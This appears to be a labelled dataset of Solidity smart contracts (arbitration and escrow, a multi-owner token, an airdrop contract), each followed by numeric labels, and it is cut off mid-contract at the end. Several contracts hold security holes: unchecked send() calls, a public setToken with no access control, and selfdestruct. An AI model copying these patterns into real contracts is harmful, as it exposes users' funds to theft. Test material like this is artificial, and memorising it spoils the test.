dispute.status = DisputeStatus.Solved;
msg.sender.send(dispute.fee);
dispute.arbitrated.rule(_disputeID,_ruling);
}
function giveRuling(uint _disputeID, uint _ruling) public onlyOwner {
return _giveRuling(_disputeID, _ruling);
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
return disputes[_disputeID].status;
}
function currentRuling(uint _disputeID) public view returns(uint ruling) {
return disputes[_disputeID].ruling;
}
}
contract AppealableArbitrator is CentralizedArbitrator, Arbitrable {
struct AppealDispute {
uint rulingTime;
Arbitrator arbitrator;
uint appealDisputeID;
}
uint public timeOut;
mapping(uint => AppealDispute) public appealDisputes;
mapping(uint => uint) public appealDisputeIDsToDisputeIDs;
constructor(
uint _arbitrationPrice,
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _timeOut
) public CentralizedArbitrator(_arbitrationPrice) Arbitrable(_arbitrator, _arbitratorExtraData) {
timeOut = _timeOut;
}
function changeArbitrator(Arbitrator _arbitrator) external onlyOwner {
arbitrator = _arbitrator;
}
function changeTimeOut(uint _timeOut) external onlyOwner {
timeOut = _timeOut;
}
function getAppealDisputeID(uint _disputeID) external view returns(uint disputeID) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
disputeID = AppealableArbitrator(appealDisputes[_disputeID].arbitrator).getAppealDisputeID(appealDisputes[_disputeID].appealDisputeID);
else disputeID = _disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable requireAppealFee(_disputeID, _extraData) {
super.appeal(_disputeID, _extraData);
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
appealDisputes[_disputeID].arbitrator.appeal.value(msg.value)(appealDisputes[_disputeID].appealDisputeID, _extraData);
else {
appealDisputes[_disputeID].arbitrator = arbitrator;
appealDisputes[_disputeID].appealDisputeID = arbitrator.createDispute.value(msg.value)(disputes[_disputeID].choices, _extraData);
appealDisputeIDsToDisputeIDs[appealDisputes[_disputeID].appealDisputeID] = _disputeID;
}
}
function giveRuling(uint _disputeID, uint _ruling) public {
require(disputes[_disputeID].status != DisputeStatus.Solved, "The specified dispute is already resolved.");
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0))) {
require(Arbitrator(msg.sender) == appealDisputes[_disputeID].arbitrator, "Appealed disputes must be ruled by their back up arbitrator.");
super._giveRuling(_disputeID, _ruling);
} else {
require(msg.sender == owner, "Not appealed disputes must be ruled by the owner.");
if (disputes[_disputeID].status == DisputeStatus.Appealable) {
if (now - appealDisputes[_disputeID].rulingTime > timeOut)
super._giveRuling(_disputeID, disputes[_disputeID].ruling);
else revert("Time out time has not passed yet.");
} else {
disputes[_disputeID].ruling = _ruling;
disputes[_disputeID].status = DisputeStatus.Appealable;
appealDisputes[_disputeID].rulingTime = now;
emit AppealPossible(_disputeID, disputes[_disputeID].arbitrated);
}
}
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint cost) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
cost = appealDisputes[_disputeID].arbitrator.appealCost(appealDisputes[_disputeID].appealDisputeID, _extraData);
else if (disputes[_disputeID].status == DisputeStatus.Appealable) cost = arbitrator.arbitrationCost(_extraData);
else cost = NOT_PAYABLE_VALUE;
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
status = appealDisputes[_disputeID].arbitrator.disputeStatus(appealDisputes[_disputeID].appealDisputeID);
else status = disputes[_disputeID].status;
}
function executeRuling(uint _disputeID, uint _ruling) internal {
require(
appealDisputes[appealDisputeIDsToDisputeIDs[_disputeID]].arbitrator != Arbitrator(address(0)),
"The dispute must have been appealed."
);
giveRuling(appealDisputeIDsToDisputeIDs[_disputeID], _ruling);
}
}
contract MultipleArbitrableTransaction is IArbitrable {
uint8 constant AMOUNT_OF_CHOICES = 2;
uint8 constant SENDER_WINS = 1;
uint8 constant RECEIVER_WINS = 2;
enum Party {Sender, Receiver}
enum Status {NoDispute, WaitingSender, WaitingReceiver, DisputeCreated, Resolved}
struct Transaction {
address sender;
address receiver;
uint256 amount;
uint256 timeoutPayment;
uint disputeId;
uint senderFee;
uint receiverFee;
uint lastInteraction;
Status status;
}
Transaction[] public transactions;
bytes public arbitratorExtraData;
Arbitrator public arbitrator;
uint public feeTimeout;
mapping (uint => uint) public disputeIDtoTransactionID;
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event HasToPayFee(uint indexed _transactionID, Party _party);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
constructor (
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _feeTimeout
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
feeTimeout = _feeTimeout;
}
function createTransaction(
uint _timeoutPayment,
address _receiver,
string _metaEvidence
) public payable returns (uint transactionID) {
transactions.push(Transaction({
sender: msg.sender,
receiver: _receiver,
amount: msg.value,
timeoutPayment: _timeoutPayment,
disputeId: 0,
senderFee: 0,
receiverFee: 0,
lastInteraction: now,
status: Status.NoDispute
}));
emit MetaEvidence(transactions.length - 1, _metaEvidence);
return transactions.length - 1;
}
function pay(uint _transactionID, uint _amount) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.sender == msg.sender, "The caller must be the sender.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amount <= transaction.amount, "The amount paid has to be less than or equal to the transaction.");
transaction.receiver.transfer(_amount);
transaction.amount -= _amount;
}
function reimburse(uint _transactionID, uint _amountReimbursed) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.receiver == msg.sender, "The caller must be the receiver.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amountReimbursed <= transaction.amount, "The amount reimbursed has to be less or equal than the transaction.");
transaction.sender.transfer(_amountReimbursed);
transaction.amount -= _amountReimbursed;
}
function executeTransaction(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(now - transaction.lastInteraction >= transaction.timeoutPayment, "The timeout has not passed yet.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
transaction.receiver.transfer(transaction.amount);
transaction.amount = 0;
transaction.status = Status.Resolved;
}
function timeOutBySender(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingReceiver, "The transaction is not waiting on the receiver.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, SENDER_WINS);
}
function timeOutByReceiver(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingSender, "The transaction is not waiting on the sender.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, RECEIVER_WINS);
}
function payArbitrationFeeBySender(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.sender, "The caller must be the sender.");
transaction.senderFee += msg.value;
require(transaction.senderFee >= arbitrationCost, "The sender fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.receiverFee < arbitrationCost) {
transaction.status = Status.WaitingReceiver;
emit HasToPayFee(_transactionID, Party.Receiver);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function payArbitrationFeeByReceiver(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.receiver, "The caller must be the receiver.");
transaction.receiverFee += msg.value;
require(transaction.receiverFee >= arbitrationCost, "The receiver fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.senderFee < arbitrationCost) {
transaction.status = Status.WaitingSender;
emit HasToPayFee(_transactionID, Party.Sender);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function raiseDispute(uint _transactionID, uint _arbitrationCost) internal {
Transaction storage transaction = transactions[_transactionID];
transaction.status = Status.DisputeCreated;
transaction.disputeId = arbitrator.createDispute.value(_arbitrationCost)(AMOUNT_OF_CHOICES, arbitratorExtraData);
disputeIDtoTransactionID[transaction.disputeId] = _transactionID;
emit Dispute(arbitrator, transaction.disputeId, _transactionID, _transactionID);
if (transaction.senderFee > _arbitrationCost) {
uint extraFeeSender = transaction.senderFee - _arbitrationCost;
transaction.senderFee = _arbitrationCost;
transaction.sender.send(extraFeeSender);
}
if (transaction.receiverFee > _arbitrationCost) {
uint extraFeeReceiver = transaction.receiverFee - _arbitrationCost;
transaction.receiverFee = _arbitrationCost;
transaction.receiver.send(extraFeeReceiver);
}
}
function submitEvidence(uint _transactionID, string _evidence) public {
Transaction storage transaction = transactions[_transactionID];
require(
msg.sender == transaction.sender || msg.sender == transaction.receiver,
"The caller must be the sender or the receiver."
);
require(
transaction.status < Status.Resolved,
"Must not send evidence if the dispute is resolved."
);
emit Evidence(arbitrator, _transactionID, msg.sender, _evidence);
}
function appeal(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
arbitrator.appeal.value(msg.value)(transaction.disputeId, arbitratorExtraData);
}
function rule(uint _disputeID, uint _ruling) public {
uint transactionID = disputeIDtoTransactionID[_disputeID];
Transaction storage transaction = transactions[transactionID];
require(msg.sender == address(arbitrator), "The caller must be the arbitrator.");
require(transaction.status == Status.DisputeCreated, "The dispute has already been resolved.");
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(transactionID, _ruling);
}
function executeRuling(uint _transactionID, uint _ruling) internal {
Transaction storage transaction = transactions[_transactionID];
require(_ruling <= AMOUNT_OF_CHOICES, "Invalid ruling.");
if (_ruling == SENDER_WINS) {
transaction.sender.send(transaction.senderFee + transaction.amount);
} else if (_ruling == RECEIVER_WINS) {
transaction.receiver.send(transaction.receiverFee + transaction.amount);
} else {
uint split_amount = (transaction.senderFee + transaction.amount) / 2;
transaction.sender.send(split_amount);
transaction.receiver.send(split_amount);
}
transaction.amount = 0;
transaction.senderFee = 0;
transaction.receiverFee = 0;
transaction.status = Status.Resolved;
}
function getCountTransactions() public view returns (uint countTransactions) {
return transactions.length;
}
function getTransactionIDsByAddress(address _address) public view returns (uint[] transactionIDs) {
uint count = 0;
for (uint i = 0; i < transactions.length; i++) {
if (transactions[i].sender == _address || transactions[i].receiver == _address)
count++;
}
transactionIDs = new uint[](count);
count = 0;
for (uint j = 0; j < transactions.length; j++) {
if (transactions[j].sender == _address || transactions[j].receiver == _address)
transactionIDs[count++] = j;
}
}
} | 0 | 716 |
pragma solidity ^0.4.18;
interface IApprovalRecipient {
function receiveApproval(address _sender, uint256 _value, bytes _extraData) public;
}
interface IKYCProvider {
function isKYCPassed(address _address) public view returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ArgumentsChecker {
modifier payloadSizeIs(uint size) {
require(msg.data.length == size + 4 );
_;
}
modifier validAddress(address addr) {
require(addr != address(0));
_;
}
}
contract multiowned {
struct MultiOwnedOperationPendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event FinalConfirmation(address owner, bytes32 operation);
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
event RequirementChanged(uint newRequirement);
modifier onlyowner {
require(isOwner(msg.sender));
_;
}
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation)) {
_;
}
}
modifier validNumOwners(uint _numOwners) {
require(_numOwners > 0 && _numOwners <= c_maxOwners);
_;
}
modifier multiOwnedValidRequirement(uint _required, uint _numOwners) {
require(_required > 0 && _required <= _numOwners);
_;
}
modifier ownerExists(address _address) {
require(isOwner(_address));
_;
}
modifier ownerDoesNotExist(address _address) {
require(!isOwner(_address));
_;
}
modifier multiOwnedOperationIsActive(bytes32 _operation) {
require(isOperationActive(_operation));
_;
}
function multiowned(address[] _owners, uint _required)
public
validNumOwners(_owners.length)
multiOwnedValidRequirement(_required, _owners.length)
{
assert(c_maxOwners <= 255);
m_numOwners = _owners.length;
m_multiOwnedRequired = _required;
for (uint i = 0; i < _owners.length; ++i)
{
address owner = _owners[i];
require(0 != owner && !isOwner(owner) );
uint currentOwnerIndex = checkOwnerIndex(i + 1 );
m_owners[currentOwnerIndex] = owner;
m_ownerIndex[owner] = currentOwnerIndex;
}
assertOwnersAreConsistent();
}
function changeOwner(address _from, address _to)
external
ownerExists(_from)
ownerDoesNotExist(_to)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]);
m_owners[ownerIndex] = _to;
m_ownerIndex[_from] = 0;
m_ownerIndex[_to] = ownerIndex;
assertOwnersAreConsistent();
OwnerChanged(_from, _to);
}
function addOwner(address _owner)
external
ownerDoesNotExist(_owner)
validNumOwners(m_numOwners + 1)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
m_numOwners++;
m_owners[m_numOwners] = _owner;
m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners);
assertOwnersAreConsistent();
OwnerAdded(_owner);
}
function removeOwner(address _owner)
external
ownerExists(_owner)
validNumOwners(m_numOwners - 1)
multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]);
m_owners[ownerIndex] = 0;
m_ownerIndex[_owner] = 0;
reorganizeOwners();
assertOwnersAreConsistent();
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired)
external
multiOwnedValidRequirement(_newRequired, m_numOwners)
onlymanyowners(keccak256(msg.data))
{
m_multiOwnedRequired = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
function getOwner(uint ownerIndex) public constant returns (address) {
return m_owners[ownerIndex + 1];
}
function getOwners() public constant returns (address[]) {
address[] memory result = new address[](m_numOwners);
for (uint i = 0; i < m_numOwners; i++)
result[i] = getOwner(i);
return result;
}
function isOwner(address _addr) public constant returns (bool) {
return m_ownerIndex[_addr] > 0;
}
function amIOwner() external constant onlyowner returns (bool) {
return true;
}
function revoke(bytes32 _operation)
external
multiOwnedOperationIsActive(_operation)
onlyowner
{
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
var pending = m_multiOwnedPending[_operation];
require(pending.ownersDone & ownerIndexBit > 0);
assertOperationIsConsistent(_operation);
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
assertOperationIsConsistent(_operation);
Revoke(msg.sender, _operation);
}
function hasConfirmed(bytes32 _operation, address _owner)
external
constant
multiOwnedOperationIsActive(_operation)
ownerExists(_owner)
returns (bool)
{
return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0);
}
function confirmAndCheck(bytes32 _operation)
private
onlyowner
returns (bool)
{
if (512 == m_multiOwnedPendingIndex.length)
clearPending();
var pending = m_multiOwnedPending[_operation];
if (! isOperationActive(_operation)) {
pending.yetNeeded = m_multiOwnedRequired;
pending.ownersDone = 0;
pending.index = m_multiOwnedPendingIndex.length++;
m_multiOwnedPendingIndex[pending.index] = _operation;
assertOperationIsConsistent(_operation);
}
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
if (pending.ownersDone & ownerIndexBit == 0) {
assert(pending.yetNeeded > 0);
if (pending.yetNeeded == 1) {
delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index];
delete m_multiOwnedPending[_operation];
FinalConfirmation(msg.sender, _operation);
return true;
}
else
{
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
assertOperationIsConsistent(_operation);
Confirmation(msg.sender, _operation);
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() private onlyowner {
uint length = m_multiOwnedPendingIndex.length;
for (uint i = 0; i < length; ++i) {
if (m_multiOwnedPendingIndex[i] != 0)
delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]];
}
delete m_multiOwnedPendingIndex;
}
function checkOwnerIndex(uint ownerIndex) private pure returns (uint) {
assert(0 != ownerIndex && ownerIndex <= c_maxOwners);
return ownerIndex;
}
function makeOwnerBitmapBit(address owner) private constant returns (uint) {
uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]);
return 2 ** ownerIndex;
}
function isOperationActive(bytes32 _operation) private constant returns (bool) {
return 0 != m_multiOwnedPending[_operation].yetNeeded;
}
function assertOwnersAreConsistent() private constant {
assert(m_numOwners > 0);
assert(m_numOwners <= c_maxOwners);
assert(m_owners[0] == 0);
assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners);
}
function assertOperationIsConsistent(bytes32 _operation) private constant {
var pending = m_multiOwnedPending[_operation];
assert(0 != pending.yetNeeded);
assert(m_multiOwnedPendingIndex[pending.index] == _operation);
assert(pending.yetNeeded <= m_multiOwnedRequired);
}
uint constant c_maxOwners = 250;
uint public m_multiOwnedRequired;
uint public m_numOwners;
address[256] internal m_owners;
mapping(address => uint) internal m_ownerIndex;
mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending;
bytes32[] internal m_multiOwnedPendingIndex;
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed from, uint256 amount);
function burn(uint256 _amount)
public
returns (bool)
{
address from = msg.sender;
require(_amount > 0);
require(_amount <= balances[from]);
totalSupply = totalSupply.sub(_amount);
balances[from] = balances[from].sub(_amount);
Burn(from, _amount);
Transfer(from, address(0), _amount);
return true;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TokenWithApproveAndCallMethod is StandardToken {
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public {
require(approve(_spender, _value));
IApprovalRecipient(_spender).receiveApproval(msg.sender, _value, _extraData);
}
}
contract SmartzToken is ArgumentsChecker, multiowned, BurnableToken, StandardToken, TokenWithApproveAndCallMethod {
struct FrozenCell {
uint amount;
uint128 thawTS;
uint128 isKYCRequired;
}
modifier onlySale(address account) {
require(isSale(account));
_;
}
modifier validUnixTS(uint ts) {
require(ts >= 1522046326 && ts <= 1800000000);
_;
}
modifier checkTransferInvariant(address from, address to) {
uint initial = balanceOf(from).add(balanceOf(to));
_;
assert(balanceOf(from).add(balanceOf(to)) == initial);
}
modifier privilegedAllowed {
require(m_allowPrivileged);
_;
}
function SmartzToken()
public
payable
multiowned(getInitialOwners(), 2)
{
if (0 != 150000000000000000000000000) {
totalSupply = 150000000000000000000000000;
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
totalSupply = totalSupply.add(0);
address(0xaacf78f8e1fbdcf7d941e80ff8b817be1f054af4).transfer(300000000000000000 wei);
}
function getInitialOwners() private pure returns (address[]) {
address[] memory result = new address[](3);
result[0] = address(0x4ff9A68a832398c6b013633BB5682595ebb7B92E);
result[1] = address(0xE4074bB7bD4828bAeD9d2beCe1e386408428dfB7);
result[2] = address(0xAACf78F8e1fbDcf7d941E80Ff8B817BE1F054Af4);
return result;
}
function balanceOf(address _owner) public view returns (uint256) {
uint256 balance = balances[_owner];
for (uint cellIndex = 0; cellIndex < frozenBalances[_owner].length; ++cellIndex) {
balance = balance.add(frozenBalances[_owner][cellIndex].amount);
}
return balance;
}
function availableBalanceOf(address _owner) public view returns (uint256) {
uint256 balance = balances[_owner];
for (uint cellIndex = 0; cellIndex < frozenBalances[_owner].length; ++cellIndex) {
if (isSpendableFrozenCell(_owner, cellIndex))
balance = balance.add(frozenBalances[_owner][cellIndex].amount);
}
return balance;
}
function transfer(address _to, uint256 _value)
public
payloadSizeIs(2 * 32)
returns (bool)
{
thawSomeTokens(msg.sender, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
payloadSizeIs(3 * 32)
returns (bool)
{
thawSomeTokens(_from, _value);
return super.transferFrom(_from, _to, _value);
}
function burn(uint256 _amount)
public
payloadSizeIs(1 * 32)
returns (bool)
{
thawSomeTokens(msg.sender, _amount);
return super.burn(_amount);
}
function frozenCellCount(address owner) public view returns (uint) {
return frozenBalances[owner].length;
}
function frozenCell(address owner, uint index) public view returns (uint amount, uint thawTS, bool isKYCRequired) {
require(index < frozenCellCount(owner));
amount = frozenBalances[owner][index].amount;
thawTS = uint(frozenBalances[owner][index].thawTS);
isKYCRequired = decodeKYCFlag(frozenBalances[owner][index].isKYCRequired);
}
function setKYCProvider(address KYCProvider)
external
validAddress(KYCProvider)
privilegedAllowed
onlymanyowners(keccak256(msg.data))
{
m_KYCProvider = IKYCProvider(KYCProvider);
}
function setSale(address account, bool isSale)
external
validAddress(account)
privilegedAllowed
onlymanyowners(keccak256(msg.data))
{
m_sales[account] = isSale;
}
function frozenTransfer(address _to, uint256 _value, uint thawTS, bool isKYCRequired)
external
validAddress(_to)
validUnixTS(thawTS)
payloadSizeIs(4 * 32)
privilegedAllowed
onlySale(msg.sender)
checkTransferInvariant(msg.sender, _to)
returns (bool)
{
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
addFrozen(_to, _value, thawTS, isKYCRequired);
Transfer(msg.sender, _to, _value);
return true;
}
function frozenTransferFrom(address _from, address _to, uint256 _value, uint thawTS, bool isKYCRequired)
external
validAddress(_to)
validUnixTS(thawTS)
payloadSizeIs(5 * 32)
privilegedAllowed
checkTransferInvariant(_from, _to)
returns (bool)
{
require(isSale(msg.sender) && isSale(_to));
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
subFrozen(_from, _value, thawTS, isKYCRequired);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function disablePrivileged()
external
privilegedAllowed
onlymanyowners(keccak256(msg.data))
{
m_allowPrivileged = false;
}
function isSale(address account) private view returns (bool) {
return m_sales[account];
}
function findFrozenCell(address owner, uint128 thawTSEncoded, uint128 isKYCRequiredEncoded)
private
view
returns (uint cellIndex)
{
for (cellIndex = 0; cellIndex < frozenBalances[owner].length; ++cellIndex) {
FrozenCell storage checkedCell = frozenBalances[owner][cellIndex];
if (checkedCell.thawTS == thawTSEncoded && checkedCell.isKYCRequired == isKYCRequiredEncoded)
break;
}
assert(cellIndex <= frozenBalances[owner].length);
}
function isSpendableFrozenCell(address owner, uint cellIndex)
private
view
returns (bool)
{
FrozenCell storage cell = frozenBalances[owner][cellIndex];
if (uint(cell.thawTS) > getTime())
return false;
if (0 == cell.amount)
return false;
if (decodeKYCFlag(cell.isKYCRequired) && !m_KYCProvider.isKYCPassed(owner))
return false;
return true;
}
function addFrozen(address _to, uint256 _value, uint thawTS, bool isKYCRequired)
private
validAddress(_to)
validUnixTS(thawTS)
{
uint128 thawTSEncoded = uint128(thawTS);
uint128 isKYCRequiredEncoded = encodeKYCFlag(isKYCRequired);
uint cellIndex = findFrozenCell(_to, thawTSEncoded, isKYCRequiredEncoded);
if (cellIndex == frozenBalances[_to].length) {
frozenBalances[_to].length++;
targetCell = frozenBalances[_to][cellIndex];
assert(0 == targetCell.amount);
targetCell.thawTS = thawTSEncoded;
targetCell.isKYCRequired = isKYCRequiredEncoded;
}
FrozenCell storage targetCell = frozenBalances[_to][cellIndex];
assert(targetCell.thawTS == thawTSEncoded && targetCell.isKYCRequired == isKYCRequiredEncoded);
targetCell.amount = targetCell.amount.add(_value);
}
function subFrozen(address _from, uint256 _value, uint thawTS, bool isKYCRequired)
private
validUnixTS(thawTS)
{
uint cellIndex = findFrozenCell(_from, uint128(thawTS), encodeKYCFlag(isKYCRequired));
require(cellIndex != frozenBalances[_from].length);
FrozenCell storage cell = frozenBalances[_from][cellIndex];
require(cell.amount >= _value);
cell.amount = cell.amount.sub(_value);
}
function thawSomeTokens(address owner, uint requiredAmount)
private
{
if (balances[owner] >= requiredAmount)
return;
require(availableBalanceOf(owner) >= requiredAmount);
for (uint cellIndex = 0; cellIndex < frozenBalances[owner].length; ++cellIndex) {
if (isSpendableFrozenCell(owner, cellIndex)) {
uint amount = frozenBalances[owner][cellIndex].amount;
frozenBalances[owner][cellIndex].amount = 0;
balances[owner] = balances[owner].add(amount);
}
}
assert(balances[owner] >= requiredAmount);
}
function getTime() internal view returns (uint) {
return now;
}
function encodeKYCFlag(bool isKYCRequired) private pure returns (uint128) {
return isKYCRequired ? uint128(1) : uint128(0);
}
function decodeKYCFlag(uint128 isKYCRequired) private pure returns (bool) {
return isKYCRequired != uint128(0);
}
IKYCProvider public m_KYCProvider;
mapping (address => bool) public m_sales;
mapping (address => FrozenCell[]) public frozenBalances;
bool public m_allowPrivileged = true;
string public constant name = 'Smartz token';
string public constant symbol = 'SMR';
uint8 public constant decimals = 18;
} | 1 | 4,962 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AirdropMeth is Ownable{
ERC20 public token;
address public creator;
event LogAccountAmount(address indexed user, uint256 indexed amount);
function AirdropMeth(address _token) public {
token = ERC20(_token);
owner = msg.sender;
}
function setToken(address _token) public {
token = ERC20(_token);
}
function startAirdropFrom(address _fromAddr, address[] users, uint256 amounts) public onlyOwner {
for(uint256 i = 0; i < users.length; i++) {
LogAccountAmount(users[i], amounts);
token.transferFrom(_fromAddr, users[i], amounts);
}
}
function startAirdrop(address[] _user, uint256 _amount) public onlyOwner {
for(uint256 i = 0; i < _user.length; i++) {
token.transfer(_user[i], _amount);
}
}
function removeContract() public onlyOwner {
selfdestruct(msg.sender);
}
} | 1 | 5,195 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
